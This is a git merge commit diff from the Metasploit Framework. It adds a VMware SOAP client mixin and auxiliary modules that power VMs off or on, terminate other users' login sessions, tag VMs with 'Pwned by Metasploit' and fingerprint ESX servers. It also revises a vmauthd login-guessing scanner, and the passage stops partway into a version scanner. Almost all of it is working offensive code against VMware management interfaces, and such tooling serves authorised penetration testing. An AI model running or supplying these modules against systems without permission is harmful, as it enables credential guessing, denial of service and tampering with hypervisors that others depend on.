Merge branch 'release/4.2-stable'

Conflicts:
	lib/msf/core/model/host.rb
unstable
Matt Buck 2012-02-19 22:57:22 -06:00
commit e0a75c1b2c
17 changed files with 1940 additions and 74 deletions

View File

@ -64,6 +64,12 @@ module OperatingSystems
FREEBSD = "FreeBSD"
NETBSD = "NetBSD"
OPENBSD = "OpenBSD"
VMWARE = "VMware"
module VmwareVersions
ESX = "ESX"
ESXI = "ESXi"
end
module WindowsVersions
NT = "NT"

View File

@ -0,0 +1,728 @@
module Msf
module Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
def vim_soap_envelope(body)
soap_data = '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
soap_data << '<env:Body>'
soap_data << body
soap_data << '</env:Body></env:Envelope>'
end
def vim_soap_propset(type,path,all = false)
soap_data = '<propSet xsi:type="PropertySpec">'
soap_data << '<type>' + type + '</type>'
if all
soap_data << '<all>true</all>'
else
soap_data << '<pathSet>' + path + '</pathSet>'
end
soap_data << '</propSet>'
end
def vim_soap_objset(type, ref)
soap_data = '<objectSet>'
soap_data << '<obj type="' + type + '">' + ref + '</obj>'
soap_data << '</objectSet>'
end
def vim_soap_specset(path,type,ref,all=false)
soap_data = '<specSet>'
soap_data << vim_soap_propset(type,path,all)
soap_data << vim_soap_objset(type,ref)
soap_data << '</specSet>'
end
def vim_soap_retrieve_properties(path,type,ref,all=false)
soap_data = '<RetrieveProperties xmlns="urn:vim25">'
soap_data << '<_this type="PropertyCollector">' + @server_objects['propertyCollector'] + '</_this>'
soap_data << vim_soap_specset(path,type,ref,all)
soap_data << '</RetrieveProperties>'
end
def vim_soap_retrieve_service_content
soap_data = '<RetrieveServiceContent xmlns="urn:vim25">'
soap_data << '<_this type="ServiceInstance">ServiceInstance</_this>'
soap_data << '</RetrieveServiceContent>'
end
def vim_soap_login(user,pass)
soap_data = '<Login xmlns="urn:vim25">'
soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + '</_this>'
soap_data << '<userName>' + user + '</userName>'
soap_data << '<password>' + pass + '</password>'
soap_data << '</Login>'
end
def vim_soap_session_active?(key, user)
soap_data = '<SessionIsActive xmlns="urn:vim25">'
soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + '</_this>'
soap_data << '<sessionID>' + key+ '</sessionID>'
soap_data << '<userName>' + user + '</userName>'
soap_data << '</SessionIsActive>'
end
def vim_soap_terminate_session(key)
soap_data = '<TerminateSession xmlns="urn:vim25">'
soap_data << '<_this xsi:type="ManagedObjectReference" type="SessionManager" >' + @server_objects['sessionManager'] + '</_this>'
soap_data << '<sessionId>' + key + '</sessionId>'
soap_data << '</TerminateSession>'
end
def vim_soap_retrieve_usergroups(domain=nil)
soap_data = '<RetrieveUserGroups xmlns="urn:internalvim25">'
soap_data << '<_this xsi:type="ManagedObjectReference" type="UserDirectory">' + @server_objects['userDirectory'] + '</_this>'
soap_data << '<domain>' + domain + '</domain>' if domain
soap_data << '<searchStr></searchStr><exactMatch>false</exactMatch><findUsers>true</findUsers><findGroups>true</findGroups>'
soap_data << '</RetrieveUserGroups>'
end
def vim_soap_log_user_event_vm(vm_ref,msg)
soap_data = '<LogUserEvent xmlns="urn:vim25">'
soap_data << '<_this type="EventManager">' + @server_objects['eventManager'] + '</_this>'
soap_data << '<entity type="VirtualMachine">' + vm_ref + '</entity>'
soap_data << '<msg>' + msg + '</msg>'
soap_data << '</LogUserEvent>'
end
def vim_soap_retrieve_all_permissions
soap_data = '<RetrieveAllPermissions xmlns="urn:vim25">'
soap_data << '<_this type="AuthorizationManager">' + @server_objects['authorizationManager'] + '</_this>'
soap_data << '</RetrieveAllPermissions>'
end
def vim_soap_find_child_byname(type,entity,name)
soap_data = '<FindChild xmlns="urn:vim25">'
soap_data << '<_this type="SearchIndex">' + @server_objects['searchIndex'] + '</_this>'
soap_data << '<entity type="' + type + '">' + entity + '</entity>'
soap_data << '<name>' + name + '</name>'
soap_data << '</FindChild>'
end
def vim_soap_power_on_vm(vm_ref)
soap_data = '<PowerOnVM_Task xmlns="urn:vim25">'
soap_data << '<_this type="VirtualMachine">' + vm_ref + '</_this>'
soap_data << '</PowerOnVM_Task>'
end
def vim_soap_power_off_vm(vm_ref)
soap_data = '<PowerOffVM_Task xmlns="urn:vim25">'
soap_data << '<_this type="VirtualMachine">' + vm_ref + '</_this>'
soap_data << '</PowerOffVM_Task>'
end
def vim_soap_create_screenshot(vm_ref)
soap_data = '<CreateScreenshot_Task xmlns="urn:vim25">'
soap_data << '<_this type="VirtualMachine">' + vm_ref + '</_this>'
soap_data << '</CreateScreenshot_Task>'
end
def vim_send_soap_request(soap_data)
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'data' => soap_data,
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
return :noresponse unless res
if res.body.include? "NotAuthenticatedFault"
return :expired
elsif res.body.include? "<faultstring>"
@vim_soap_error = res.body.match(/<faultstring>([^\c ]+?)<\/faultstring>/)[1]
return :error
elsif res.code != 200
@vim_soap_error = "An unknown error was encountered"
return :error
else
return Hash.from_xml(res.body)['Envelope']['Body']
end
end
def vim_get_session
soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data
}, 25)
return false unless res and res.code == 200
@server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval']
@soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}"
if res.headers['Set-Cookie']
@vim_cookie = res.headers['Set-Cookie']
return true
else
return false
end
end
def vim_do_login(user, pass)
unless vim_get_session
return false
end
soap_data = vim_soap_envelope(vim_soap_login(user,pass))
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'data' => soap_data,
'headers' => { 'SOAPAction' => @soap_action}
}, 25)
if res.code == 200
return :success
else
return :fail
end
end
def vim_get_session_list
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('sessionList','SessionManager', @server_objects['sessionManager']))
res = vim_send_soap_request(soap_data)
if res.class == Hash
session_list = []
session_list << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['UserSession']
return session_list.flatten.compact
else
return res
end
end
def vim_session_is_active(key, username)
soap_data = vim_soap_envelope(vim_soap_session_active?(key,username))
res = vim_send_soap_request(soap_data)
if res.class == Hash
active = res['SessionIsActiveResponse']['returnval']
return active
else
return res
end
end
def vim_terminate_session(key)
soap_data = vim_soap_envelope(vim_soap_terminate_session(key))
res = vim_send_soap_request(soap_data)
if res.class == Hash
return :success
else
return res
end
end
def vim_get_domains
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('domainList', 'UserDirectory', @server_objects['userDirectory']))
res = vim_send_soap_request(soap_data)
if res.class == Hash
domains = []
domains << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['string']
return domains.flatten.compact
else
return res
end
end
def vim_get_user_list(domain=nil)
soap_data = vim_soap_envelope(vim_soap_retrieve_usergroups(domain))
res = vim_send_soap_request(soap_data)
if res.class == Hash
return nil unless res['RetrieveUserGroupsResponse']['returnval']
user_list = []
user_list << res['RetrieveUserGroupsResponse']['returnval']
return user_list.flatten.compact
else
return res
end
end
def vim_log_event_vm(vm_ref, msg)
soap_data = vim_soap_envelope(vim_soap_log_user_event_vm(vm_ref,msg))
res = vim_send_soap_request(soap_data)
if res.class == Hash
return :success
else
return res
end
end
def vim_get_all_permissions
soap_data = vim_soap_envelope(vim_soap_retrieve_all_permissions)
res = vim_send_soap_request(soap_data)
if res.class == Hash
permissions = []
permissions << res['RetrieveAllPermissionsResponse']['returnval']
return permissions.flatten.compact
else
return res
end
end
def vim_get_roles
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('roleList', 'AuthorizationManager', @server_objects['authorizationManager']))
res = vim_send_soap_request(soap_data)
if res.class == Hash
roles = []
roles << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['AuthorizationRole']
return roles.flatten.compact
else
return res
end
end
def vim_get_dc_name(dc)
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('name','Datacenter',dc))
res = vim_send_soap_request(soap_data)
if res.class == Hash
return res['RetrievePropertiesResponse']['returnval']['propSet']['val']
else
return res
end
end
def vim_get_dcs
soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)
res = vim_send_soap_request(soap_data)
if res.class == Hash
@server_objects.merge!(res['RetrieveServiceContentResponse']['returnval'])
else
return res
end
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('content', 'ServiceInstance', 'ServiceInstance'))
res = vim_send_soap_request(soap_data)
if res.class == Hash
hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
hash.delete('xsi:type')
@server_objects.merge!(hash)
else
return res
end
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', @server_objects['rootFolder']))
res = vim_send_soap_request(soap_data)
if res.class == Hash
tmp_dcs = []
tmp_dcs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
tmp_dcs.flatten!
tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}}
else
return res
end
end
def vim_get_hosts(datacenter)
dc_hosts = []
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hostFolder', 'Datacenter' , datacenter))
res = vim_send_soap_request(soap_data)
if res.class == Hash
host_folders = []
host_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val']
host_folders.flatten!
else
return res
end
compute_refs = []
host_folders.each do |folder|
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder' , folder))
res = vim_send_soap_request(soap_data)
if res.class == Hash
ref = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
unless ref.nil?
compute_refs << ref
end
else
return res
end
end
compute_refs.flatten!
compute_refs.each do |ref|
next if ref.start_with? "group-"
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('host', 'ComputeResource' , ref))
res = vim_send_soap_request(soap_data)
if res.class == Hash
dc_hosts << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
else
return res
end
end
dc_hosts.flatten!
return dc_hosts
end
def vim_get_all_hosts
@dcs.each{|dc| @hosts << vim_get_hosts(dc['ref'])}
@hosts.flatten!
end
def vim_get_host_hw(host)
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hardware', 'HostSystem' , host))
res = vim_send_soap_request(soap_data)
if res.class == Hash
return res['RetrievePropertiesResponse']['returnval']['propSet']['val']
else
return res
end
end
def vim_get_all_host_summary(hw=false)
vim_setup_references
summaries = []
@hosts.each do |host|
details = {}
details[host] = vim_get_host_summary(host)
if details and hw
details.merge!(vim_get_host_hw(host))
end
summaries << details
end
return summaries.flatten.compact
end
def vim_get_vm_datastore(vm)
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('datastore', 'VirtualMachine' , vm))
res = vim_send_soap_request(soap_data)
if res.class == Hash
datastore_refs = []
datastore_refs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
datastore_refs.flatten!
datastore_refs.compact!
datastores = []
else
return res
end
datastore_refs.each do |datastore_ref|
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Datastore' , datastore_ref))
res = vim_send_soap_request(soap_data)
if res.class == Hash
datastore_name = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
datastores << datastore
else
return res
end
end
return datastores
end
def vim_find_vm_by_name(name)
vim_setup_references
@dcs.each do |dc|
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter' , dc['ref']))
res = vim_send_soap_request(soap_data)
if res.class == Hash
vm_folders = []
vm_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val']
vm_folders.flatten!
vm_folders.compact!
else
return res
end
vm_folders.each do |vm_folder|
soap_data = vim_soap_envelope(vim_soap_find_child_byname('Folder', vm_folder, name))
res = vim_send_soap_request(soap_data)
if res.class == Hash
vmref = res['FindChildResponse']['returnval']
if vmref
return vmref
else
next
end
else
return res
end
end
end
return nil
end
def vim_powerON_vm(vm_ref)
soap_data = vim_soap_envelope(vim_soap_power_on_vm(vm_ref))
res = vim_send_soap_request(soap_data)
if res.class == Hash
task_id = res['PowerOnVM_TaskResponse']['returnval']
else
return res
end
state= "running"
while state == "running"
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
res = vim_send_soap_request(soap_data)
if res.class == Hash
state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
case state
when 'running'
select(nil, nil, nil, 5)
when 'error'
if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'
return 'alreadyON'
end
end
else
return res
end
end
return state
end
def vim_powerOFF_vm(vm_ref)
soap_data = vim_soap_envelope(vim_soap_power_off_vm(vm_ref))
res = vim_send_soap_request(soap_data)
if res.class == Hash
task_id = res['PowerOffVM_TaskResponse']['returnval']
else
return res
end
state= "running"
while state == "running"
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
res = vim_send_soap_request(soap_data)
if res.class == Hash
state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
case state
when 'running'
select(nil, nil, nil, 5)
when 'error'
if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'
return 'alreadyON'
end
end
else
return res
end
end
return state
end
def vim_take_screenshot(vm, user, pass)
soap_data = vim_soap_envelope(vim_soap_create_screenshot(vm['ref']))
res = vim_send_soap_request(soap_data)
if res.class == Hash
task_id = res['CreateScreenshot_TaskResponse']['returnval']
else
return res
end
state= "running"
while state == "running"
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
res = vim_send_soap_request(soap_data)
if res.class == Hash
state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
screenshot_file = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['result']
else
return res
end
end
unless screenshot_file
return :error
end
(ss_folder, ss_file) = screenshot_file.split('/').last(2)
ss_folder = Rex::Text.uri_encode(ss_folder)
ss_file = Rex::Text.uri_encode(ss_file)
ss_path = "#{ss_folder}/#{ss_file}"
datastores = vim_get_vm_datastore(vm['ref'])
user_pass = Rex::Text.encode_base64(user + ":" + pass)
datastores.each do |datastore|
ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
res = send_request_cgi({
'uri' => ss_uri,
'method' => 'GET',
'agent' => 'VMware VI Client',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{user_pass}"}
}, 25)
next unless res
if res.code == 200
return res.body
elsif res.code == 404
next
end
end
return :error
end
def vim_get_host_summary(host)
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'HostSystem', host))
res = vim_send_soap_request(soap_data)
if res.class == Hash
hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
hash['runtime'].delete('healthSystemRuntime')
hash.delete('xsi:type')
hash.delete('host')
return hash
else
return res
end
end
def vim_get_vms
vim_setup_references
@vmrefs = []
vmlist= []
@dcs.each do |dc|
dc_vm_refs = vim_get_dc_vms(dc['ref'])
next if dc_vm_refs.nil? or dc_vm_refs.empty?
dc_vm_refs.flatten!
dc_vm_refs.compact!
next if dc_vm_refs.nil? or dc_vm_refs.empty?
print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Found a Total of #{dc_vm_refs.length} VMs"
print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Estimated Time: #{((dc_vm_refs.length * 7) /60)} Minutes"
dc_vm_refs.each do |ref|
print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} - Getting Data for VM: #{ref}..."
details = vim_get_vm_info(ref)
if details
details['ref'] = ref
details['dc_ref'] = dc['ref']
details['dc_name'] = dc['name']
vmlist << details
end
end
end
return vmlist
end
def vim_get_dc_vms(datacenter)
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter', datacenter))
res = vim_send_soap_request(soap_data)
if res.class == Hash
vmfolder = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
else
return res
end
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', vmfolder))
res = vim_send_soap_request(soap_data)
if res.class == Hash
vm_index_array = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
vm_index_array.delete_if{|ref| ref.start_with? "group"} unless vm_index_array.nil? or vm_index_array.empty?
return vm_index_array
else
return res
end
end
def vim_get_vm_info(vm_ref)
vim_setup_references
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'VirtualMachine', vm_ref))
res = vim_send_soap_request(soap_data)
if res.class == Hash
hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
vm = hash['config']
vm['runtime'] = hash['runtime']
vm['guest'] = hash['guest']
vm['quickStats'] = hash['quickStats']
return vm
else
return res
end
end
def vim_logged_in?
return true if @vim_cookie
return false
end
def vim_instance_vars_set?
return false if @server_objects.nil? or @server_objects.empty?
return false if @host.nil? or @host.empty?
return true
end
def vim_setup_references
unless vim_instance_vars_set?
@dcs = []
@hosts = []
vim_get_dcs
vim_get_all_hosts
@hosts.flatten!
@hosts.compact!
end
end
end
end

View File

@ -685,6 +685,16 @@ class Host < ActiveRecord::Base
wtype['server'] = wtype['server'].to_i + points
end # End of s.info for SMTP
when 'https'
points = 101
case s.info
when /(VMware\s(ESXi?)).*\s([\d\.]+)/
# Very reliable fingerprinting from our own esx_fingerprint module
wname[$1] = wname[$1].to_i + (points * 5)
wflav[$3] = wflav[$3].to_i + (points * 5)
wtype['device'] = wtype['device'].to_i + points
end # End of s.info for HTTPS
when 'netbios'
points = 201
case s.info

View File

@ -0,0 +1,74 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
def initialize
super(
'Name' => 'VMWare Power Off Virtual Machine',
'Description' => %Q{
This module will log into the Web API of VMWare and try to power off
a specified Virtual Machine.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('VM', [true, "The VM to try to Power Off"])
], self.class)
end
def run
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
vm_ref = vim_find_vm_by_name(datastore['VM'])
case vm_ref
when String
return_state = vim_powerOFF_vm(vm_ref)
case return_state
when 'success'
print_good "VM Powered Off Successfully"
when 'alreadyOFF'
print_status "The Server says that VM #{datastore['VM']} is already off."
else
print_error "The server returned an unexpected status #{return_state}"
end
when :noresponse
print_error "The request timed out"
when :error
print_error @vim_soap_error
when nil
print_error "Could not locate VM #{datastore['VM']}"
end
else
print_error "Login Failure on #{datastore['RHOST']}"
return
end
end
end

View File

@ -0,0 +1,75 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
def initialize
super(
'Name' => 'VMWare Power On Virtual Machine',
'Description' => %Q{
This module will log into the Web API of VMWare and try to power on
a specified Virtual Machine.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('VM', [true, "The VM to try to Power On"])
], self.class)
end
def run
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
vm_ref = vim_find_vm_by_name(datastore['VM'])
case vm_ref
when String
return_state = vim_powerON_vm(vm_ref)
case return_state
when 'success'
print_good "VM Powered On Successfully"
when 'alreadyON'
print_status "The Server says that VM #{datastore['VM']} is already on."
else
print_error "The server returned an unexpected status #{return_state}"
end
when :noresponse
print_error "The request timed out"
when :error
print_error @vim_soap_error
when nil
print_error "Could not locate VM #{datastore['VM']}"
end
else
print_error "Login Failure on #{datastore['RHOST']}"
return
end
end
end

View File

@ -0,0 +1,79 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
def initialize
super(
'Name' => 'VMWare Tag Virtual Machine',
'Description' => %Q{
This module will log into the Web API of VMWare and
'tag' a specified Virtual Machine. It does this by
logging a user event with user supplied text},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('VM', [true, "The VM to try to Power On"]),
OptString.new('MSG', [true, "The message to put in the log", 'Pwned by Metasploit'])
], self.class)
end
def run
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
vm_ref = vim_find_vm_by_name(datastore['VM'])
case vm_ref
when String
result = vim_log_event_vm(vm_ref, datastore['MSG'])
case result
when :noresponse
print_error "Recieved no Response"
when :expired
print_error "The login session appears to have expired"
when :error
print_error "An error occured"
else
print_good "User Event logged"
end
when :noresponse
print_error "Recieved no Response"
when :expired
print_error "The login session appears to have expired"
when :error
print_error @vim_soap_error
end
else
print_error "Login Failure on #{datastore['RHOST']}"
return
end
end
end

View File

@ -0,0 +1,66 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
def initialize
super(
'Name' => 'VMWare Terminate ESX Login Sessions',
'Description' => %Q{
This module will log into the Web API of VMWare and try to terminate
user login sessions as specified by the session keys.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptString.new('KEYS', [true, "The session key to terminate"])
], self.class)
end
def run
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
Shellwords.split(datastore['KEYS']).each do |key|
result = vim_terminate_session(key)
case result
when :notfound
print_error "The specified Session was not found. Check your key: #{key}"
when :success
print_good "The supplied session was terminated successfully: #{key}"
when :error
print_error "There was an error encountered terminating: #{key}"
end
end
else
print_error "Login Failure on #{datastore['RHOST']}"
return
end
end
end

View File

@ -0,0 +1,99 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare ESX/ESXi Fingerprint Scanner',
'Version' => '$Revision$',
'Description' => %Q{
This module accesses the web API interfaces for VMware ESX/ESXi servers
and attempts to identify version information for that server.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options([Opt::RPORT(443)], self.class)
end
def run_host(ip)
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>|
datastore['URI'] ||= "/sdk"
res = nil
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => soap_data
}, 25)
rescue ::Rex::ConnectionError => e
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
return false
rescue
vprint_error("Skipping #{ip} due to error - #{e}")
return false
end
fingerprint_vmware(ip,res)
end
# Takes an ip address and a response, and just checks the response
# to pull out version info. If it's ESX, report the OS as ESX (since
# it's a hypervisor deal then). Otherwise, just report the service.
# XXX: report_service is stomping on the report_host OS. This is le suck.
def fingerprint_vmware(ip,res)
unless res
vprint_error("http://#{ip}:#{rport} - No response")
return false
end
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
this_host = nil
if full_match
print_good "Identified #{full_match[1]}"
report_service(:host => (this_host || ip), :port => rport, :proto => 'tcp', :name => 'https', :info => full_match[1])
end
if os_match and ver_match and build_match
if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
this_host = report_host( :host => ip, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
end
return true
else
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
return false
end
end
end

View File

@ -24,9 +24,8 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'VMWare Authentication Daemon Login Scanner',
'Version' => '$Revision$',
'Description' => %q{
This module will test vmauthd logins on a range of machines and
report successful logins.
'Description' => %q{This module will test vmauthd logins on a range of machines and
report successful logins.
},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'References' =>
@ -40,26 +39,31 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
begin
connect
rescue
print_error "Could not connect to #{ip}:#{datastore['RPORT']}"
connect rescue nil
if not self.sock
print_error "#{rhost}:#{rport} Could not connect to vmauthd"
return
end
banner = sock.get_once.chomp
print_status "Banner: #{banner}"
unless banner.include? "VMware Authentication Daemon"
print_error "This does not appear to be a vmauthd service"
banner = sock.get_once(-1, 10)
if not banner
print_error "#{rhost}:#{rport} No banner received from vmauthd"
return
end
if banner.include? "SSL"
print_status("Switching to SSL connection...")
banner = banner.strip
print_status "#{rhost}:#{rport} Banner: #{banner}"
unless banner =~ /VMware Authentication Daemon/
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
return
end
if banner =~ /SSL/
print_status("#{rhost}:#{rport} Switching to SSL connection...")
swap_sock_plain_to_ssl
end
@ -67,9 +71,9 @@ class Metasploit3 < Msf::Auxiliary
result = do_login(user, pass)
case result
when :failed
print_error("#{ip}:#{datastore['RPORT']} vmauthd login FAILED - #{user}:#{pass}")
print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}")
when :success
print_good("#{ip}:#{datastore['RPORT']} vmauthd login SUCCESS - #{user}:#{pass}")
print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}")
report_auth_info(
:host => rhost,
:port => rport,
@ -81,17 +85,23 @@ class Metasploit3 < Msf::Auxiliary
)
return if datastore['STOP_ON_SUCCESS']
else
print_error("#{ip}:#{datastore['RPORT']} #{res}")
print_error("#{rhost}:#{rport} Error: #{res}")
end
end
rescue ::Interrupt
raise $!
ensure
disconnect
end
end
def do_login(user, pass, nsock=self.sock)
nsock.put("USER #{user}\r\n")
res = nsock.get_once
unless res.start_with? "331"
ret_msg = "received unexpected reply to the USER command: #{res}"
ret_msg = "Unexpected reply to the USER command: #{res}"
return ret_msg
end
nsock.put("PASS #{pass}\r\n")
@ -101,7 +111,7 @@ class Metasploit3 < Msf::Auxiliary
elsif res.start_with? "230"
return :success
else
ret_msg = "received unexpected reply to the PASS command: #{res}"
ret_msg = "Unexpected reply to the PASS command: #{res}"
return ret_msg
end
end

View File

@ -0,0 +1,135 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core/exploit/tcp'
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@@cached_rsa_key = nil
def initialize
super(
'Name' => 'VMWare Authentication Daemon Version Scanner',
'Version' => '$Revision$',
